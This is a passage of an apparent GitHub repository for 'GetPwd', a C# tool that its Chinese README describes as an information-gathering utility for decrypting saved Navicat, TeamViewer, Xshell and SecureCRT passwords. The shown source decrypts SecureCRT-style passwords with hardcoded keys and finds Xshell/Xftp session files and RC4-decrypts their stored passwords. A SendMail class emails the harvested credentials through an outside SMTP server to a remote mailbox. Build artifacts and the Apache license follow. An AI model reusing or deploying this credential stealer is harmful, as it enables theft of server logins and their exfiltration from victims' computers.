43 | } 44 | 45 | private static string AESDecrypt(string decryptStr, byte[] key) 46 | { 47 | var _aes = new AesCryptoServiceProvider(); 48 | _aes.BlockSize = 128; 49 | _aes.KeySize = 256; 50 | _aes.Key = key; 51 | _aes.IV = (byte[])(object)new sbyte[16];//Encoding.UTF8.GetBytes(IV); 52 | _aes.Padding = PaddingMode.PKCS7; 53 | _aes.Mode = CipherMode.CBC; 54 | 55 | byte[] decryptBytes = System.Convert.FromBase64String(decryptStr); 56 | 57 | var _crypto = _aes.CreateDecryptor(_aes.Key, _aes.IV); 58 | byte[] decrypted = _crypto.TransformFinalBlock(decryptBytes, 0, decryptBytes.Length); 59 | _crypto.Dispose(); 60 | return Encoding.UTF8.GetString(decrypted); 61 | 62 | } 63 | 64 | public static string AESEncrypt(string encryptStr) 65 | { 66 | var _aes = new AesCryptoServiceProvider(); 67 | _aes.BlockSize = 128; 68 | _aes.KeySize = 256; 69 | _aes.Key = Key_V2; 70 | _aes.IV = (byte[])(object)new sbyte[16];//Encoding.UTF8.GetBytes(IV); 71 | _aes.Padding = PaddingMode.PKCS7; 72 | _aes.Mode = CipherMode.CBC; 73 | 74 | var _crypto = _aes.CreateEncryptor(_aes.Key, _aes.IV); 75 | byte[] encrypted = _crypto.TransformFinalBlock(Encoding.UTF8.GetBytes(encryptStr), 0, Encoding.UTF8.GetBytes(encryptStr).Length); 76 | 77 | _crypto.Dispose(); 78 | 79 | return System.Convert.ToBase64String(encrypted); 80 | } 81 | 82 | public static string V2CRT(string str) { 83 | byte[] IV = { 84 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 85 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 86 | }; 87 | byte[] ciphered_bytes = fromhex(str); 88 | if (ciphered_bytes.Length <= 8) 89 | { 90 | return null; 91 | } 92 | return AESDecrypt(Convert.ToBase64String(ciphered_bytes), Key_V2); 93 | } 94 | 95 | public static string PasswordCRT(string str) { 96 | byte[] ciphered_bytes = fromhex(str); 97 | if (ciphered_bytes.Length <= 8) { 98 | return null; 99 | } 100 | 101 | BlowFishC algo = new BlowFishC(Key1); 102 | algo.IV = IV; 103 | byte[] decryptedTxt = algo.Decrypt_CBC(ciphered_bytes); 104 | decryptedTxt = decryptedTxt.Skip(4).Take(decryptedTxt.Length - 8).ToArray(); 105 | 106 | algo = new BlowFishC(Key2); 107 | algo.IV = IV; 108 | ciphered_bytes = algo.Decrypt_CBC(decryptedTxt); 109 | string ciphered = Findnull(ciphered_bytes); 110 | 111 | return ciphered; 112 | } 113 | 114 | } 115 | } 116 | -------------------------------------------------------------------------------- /GetPwd/SendMail.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net.Mail; 3 | using System.Net.Mime; 4 | using System.IO; 5 | using System.Net; 6 | using System.Text; 7 | 8 | namespace GetPwd 9 | { 10 | class SendMail 11 | { 12 | public static void Send(StringBuilder text) 13 | { 14 | try{ 15 | string uid = "";//发件人邮箱地址@符号前面的字符tom@dddd.com,则为"tom" 16 | string pwd = "";//发件人密码 17 | 18 | MailAddress from = new MailAddress("tom@163.com");//发件人 19 | MailAddress to = new MailAddress("tom@qq.com");//收件人 20 | MailMessage mailMessage = new MailMessage(from, to); 21 | mailMessage.Subject = "PassWord Comming!";//邮件主题 22 | mailMessage.Body = text.ToString();//邮件正文 23 | 24 | //实例化SmtpClient 25 | SmtpClient smtpClient = new SmtpClient("smtp.163.com", 25); //发件人SMTP通信服务器 26 | //设置为发送认证消息 27 | smtpClient.UseDefaultCredentials = true; 28 | //设置验证发件人身份的凭据 29 | smtpClient.Credentials = new NetworkCredential(uid, pwd); 30 | //发送 31 | smtpClient.Send(mailMessage); 32 | 33 | Console.WriteLine("Send Mail OK!"); 34 | }catch (Exception) { 35 | Console.WriteLine("Send Mail Error!"); 36 | } 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /GetPwd/XmangagerCrypt.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Security.Cryptography; 5 | using System.Text; 6 | 7 | namespace GetPwd 8 | { 9 | class XmangagerCrypt 10 | { 11 | public void Xmangager(string path, string UserSid) 12 | { 13 | string sourse = File.ReadAllText(path); 14 | string arg = MidStrEx(sourse, "Host=", "\r\n"); 15 | string arg2 = MidStrEx(sourse, "[CONNECTION]\r\nPort=", "\r\n"); 16 | string arg3 = MidStrEx(sourse, "UserName=", "\r\n"); 17 | string text = MidStrEx(sourse, "Password=", "\r\n"); 18 | string arg4 = MidStrEx(sourse, "[SessionInfo]\r\nVersion=", "\r\n"); 19 | if (text != null && text != "") 20 | { 21 | byte[] array = Convert.FromBase64String(text); 22 | byte[] pwd = new SHA256Managed().ComputeHash(Encoding.ASCII.GetBytes(UserSid)); 23 | byte[] array2 = new byte[array.Length - 32]; 24 | Array.Copy(array, 0, array2, 0, array.Length - 32); 25 | byte[] bytes = RC4.Decrypt(pwd, array2); 26 | Console.WriteLine("[+] Session File:" + path); 27 | Console.WriteLine(" Host: {0}", arg); 28 | Console.WriteLine(" Port: {0}", arg2); 29 | Console.WriteLine(" UserName: {0}", arg3); 30 | Console.WriteLine(" Version: {0}", arg4); 31 | Console.WriteLine(" Password: {0}", text); 32 | Console.WriteLine(" UserSid(Key): {0}", UserSid); 33 | Console.WriteLine(" Decrypt: {0}", Encoding.ASCII.GetString(bytes)); 34 | } 35 | } 36 | 37 | public static string MidStrEx(string sourse, string startstr, string endstr) 38 | { 39 | string empty = string.Empty; 40 | int num = sourse.IndexOf(startstr); 41 | if (num == -1) 42 | { 43 | return empty; 44 | } 45 | string text = sourse.Substring(num + startstr.Length); 46 | int num2 = text.IndexOf(endstr); 47 | if (num2 == -1) 48 | { 49 | return empty; 50 | } 51 | return text.Remove(num2); 52 | } 53 | 54 | public static string getlnk() 55 | { 56 | IWshRuntimeLibrary.WshShell shell = new IWshRuntimeLibrary.WshShell(); 57 | IWshRuntimeLibrary.IWshShortcut shortcut = (IWshRuntimeLibrary.IWshShortcut)shell.CreateShortcut(@"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Xshell 6\Xagent.lnk"); 58 | return shortcut.TargetPath.Replace("Xagent.exe", ""); 59 | } 60 | 61 | public static List checkPath() 62 | { 63 | List pathlist = new List(){ 64 | Environment.GetEnvironmentVariable("USERPROFILE")+@"\Documents\NetSarang\Xshell\Sessions", 65 | Environment.GetEnvironmentVariable("USERPROFILE")+@"\Documents\NetSarang\Xftp\Sessions", 66 | Environment.GetEnvironmentVariable("USERPROFILE")+@"\Documents\NetSarang Computer\6\Xshell\Sessions", 67 | Environment.GetEnvironmentVariable("USERPROFILE")+@"\Documents\NetSarang Computer\6\Xftp\Sessions", 68 | getlnk()+@"\log\Xshell\Sessions" 69 | }; 70 | List xshpathlist = new List(); 71 | foreach (string path in pathlist) 72 | { 73 | if (Directory.Exists(path))//判断是否存在 74 | { 75 | DirectoryInfo directoryInfo = new DirectoryInfo(path); 76 | FileInfo[] files = directoryInfo.GetFiles(); 77 | foreach (FileInfo fileInfo in files) 78 | { 79 | string name = fileInfo.Name; 80 | if (fileInfo.Extension.Equals(".xsh")) 81 | { 82 | string path2 = path + "\\" + name; 83 | xshpathlist.Add(path2); 84 | } 85 | } 86 | } 87 | } 88 | return xshpathlist; 89 | } 90 | 91 | public static string ConvertByteToStringSid(Byte[] sidBytes) 92 | { 93 | StringBuilder strSid = new StringBuilder(); 94 | strSid.Append("S-"); 95 | try 96 | { 97 | // Add SID revision. 98 | strSid.Append(sidBytes[0].ToString()); 99 | // Next six bytes are SID authority value. 100 | if (sidBytes[6] != 0 || sidBytes[5] != 0) 101 | { 102 | string strAuth = String.Format 103 | ("0x{0:2x}{1:2x}{2:2x}{3:2x}{4:2x}{5:2x}", 104 | (Int16)sidBytes[1], 105 | (Int16)sidBytes[2], 106 | (Int16)sidBytes[3], 107 | (Int16)sidBytes[4], 108 | (Int16)sidBytes[5], 109 | (Int16)sidBytes[6]); 110 | strSid.Append("-"); 111 | strSid.Append(strAuth); 112 | } 113 | else 114 | { 115 | Int64 iVal = (Int32)(sidBytes[1]) + 116 | (Int32)(sidBytes[2] << 8) + 117 | (Int32)(sidBytes[3] << 16) + 118 | (Int32)(sidBytes[4] << 24); 119 | strSid.Append("-"); 120 | strSid.Append(iVal.ToString()); 121 | } 122 | 123 | // Get sub authority count... 124 | int iSubCount = Convert.ToInt32(sidBytes[7]); 125 | int idxAuth = 0; 126 | for (int i = 0; i < iSubCount; i++) 127 | { 128 | idxAuth = 8 + i * 4; 129 | UInt32 iSubAuth = BitConverter.ToUInt32(sidBytes, idxAuth); 130 | strSid.Append("-"); 131 | strSid.Append(iSubAuth.ToString()); 132 | } 133 | } 134 | catch (Exception ex) 135 | { 136 | System.Diagnostics.Trace.Write(ex.Message); 137 | return ""; 138 | } 139 | return strSid.ToString(); 140 | } 141 | } 142 | 143 | 144 | public class RC4 145 | { 146 | public static byte[] Encrypt(byte[] pwd, byte[] data) 147 | { 148 | int[] array = new int[256]; 149 | int[] array2 = new int[256]; 150 | byte[] array3 = new byte[data.Length]; 151 | int i; 152 | for (i = 0; i < 256; i++) 153 | { 154 | array[i] = pwd[i % pwd.Length]; 155 | array2[i] = i; 156 | } 157 | int num = i = 0; 158 | for (; i < 256; i++) 159 | { 160 | num = (num + array2[i] + array[i]) % 256; 161 | int num2 = array2[i]; 162 | array2[i] = array2[num]; 163 | array2[num] = num2; 164 | } 165 | int num3 = num = (i = 0); 166 | for (; i < data.Length; i++) 167 | { 168 | num3++; 169 | num3 %= 256; 170 | num += array2[num3]; 171 | num %= 256; 172 | int num2 = array2[num3]; 173 | array2[num3] = array2[num]; 174 | array2[num] = num2; 175 | int num4 = array2[(array2[num3] + array2[num]) % 256]; 176 | array3[i] = (byte)(data[i] ^ num4); 177 | } 178 | return array3; 179 | } 180 | 181 | public static byte[] Decrypt(byte[] pwd, byte[] data) 182 | { 183 | return Encrypt(pwd, data); 184 | } 185 | } 186 | } 187 | -------------------------------------------------------------------------------- /GetPwd/bin/Debug/GetPwd.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /GetPwd/bin/Debug/GetPwd.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/bin/Debug/GetPwd.pdb -------------------------------------------------------------------------------- /GetPwd/obj/Debug/.NETFramework,Version=v4.5.AssemblyAttributes.cs: -------------------------------------------------------------------------------- 1 | // 2 | using System; 3 | using System.Reflection; 4 | [assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName = ".NET Framework 4.5")] 5 | -------------------------------------------------------------------------------- /GetPwd/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /GetPwd/obj/Debug/GetPwd.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 2f6acba32714e6bded48a14fbebfb70e3baa7f26 2 | -------------------------------------------------------------------------------- /GetPwd/obj/Debug/GetPwd.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\DELL\source\repos\GetPwd\GetPwd\bin\Debug\GetPwd.exe.config 2 | C:\Users\DELL\source\repos\GetPwd\GetPwd\bin\Debug\GetPwd.exe 3 | C:\Users\DELL\source\repos\GetPwd\GetPwd\bin\Debug\GetPwd.pdb 4 | C:\Users\DELL\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.csprojAssemblyReference.cache 5 | C:\Users\DELL\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.csproj.CoreCompileInputs.cache 6 | C:\Users\DELL\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.exe 7 | C:\Users\DELL\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.pdb 8 | C:\Users\DELL\source\repos\GetPwd\GetPwd\obj\Debug\Interop.IWshRuntimeLibrary.dll 9 | C:\Users\DELL\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.csproj.ResolveComReference.cache 10 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\bin\Debug\GetPwd.exe.config 11 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\bin\Debug\GetPwd.exe 12 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\bin\Debug\GetPwd.pdb 13 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.csprojAssemblyReference.cache 14 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\obj\Debug\Interop.IWshRuntimeLibrary.dll 15 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.csproj.ResolveComReference.cache 16 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.csproj.CoreCompileInputs.cache 17 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.exe 18 | C:\Users\wh4am\source\repos\GetPwd\GetPwd\obj\Debug\GetPwd.pdb 19 | -------------------------------------------------------------------------------- /GetPwd/obj/Debug/GetPwd.csproj.ResolveComReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/GetPwd.csproj.ResolveComReference.cache -------------------------------------------------------------------------------- /GetPwd/obj/Debug/GetPwd.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/GetPwd.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /GetPwd/obj/Debug/GetPwd.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/GetPwd.pdb -------------------------------------------------------------------------------- /GetPwd/obj/Debug/Interop.IWshRuntimeLibrary.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/Interop.IWshRuntimeLibrary.dll -------------------------------------------------------------------------------- /GetPwd/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs -------------------------------------------------------------------------------- /GetPwd/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs -------------------------------------------------------------------------------- /GetPwd/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sf197/GetPwd/87b69b685d248859b1af3e3d74d4569c0daf2087/GetPwd/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GetPwd 2 | 用CSharp写的一款信息搜集工具,目前支持Navicat、TeamView、Xshell、SecureCRT产品的密码解密 3 | 4 | 详情可以看:https://www.cnblogs.com/wh4am1/p/12898112.html 5 | --------------------------------------------------------------------------------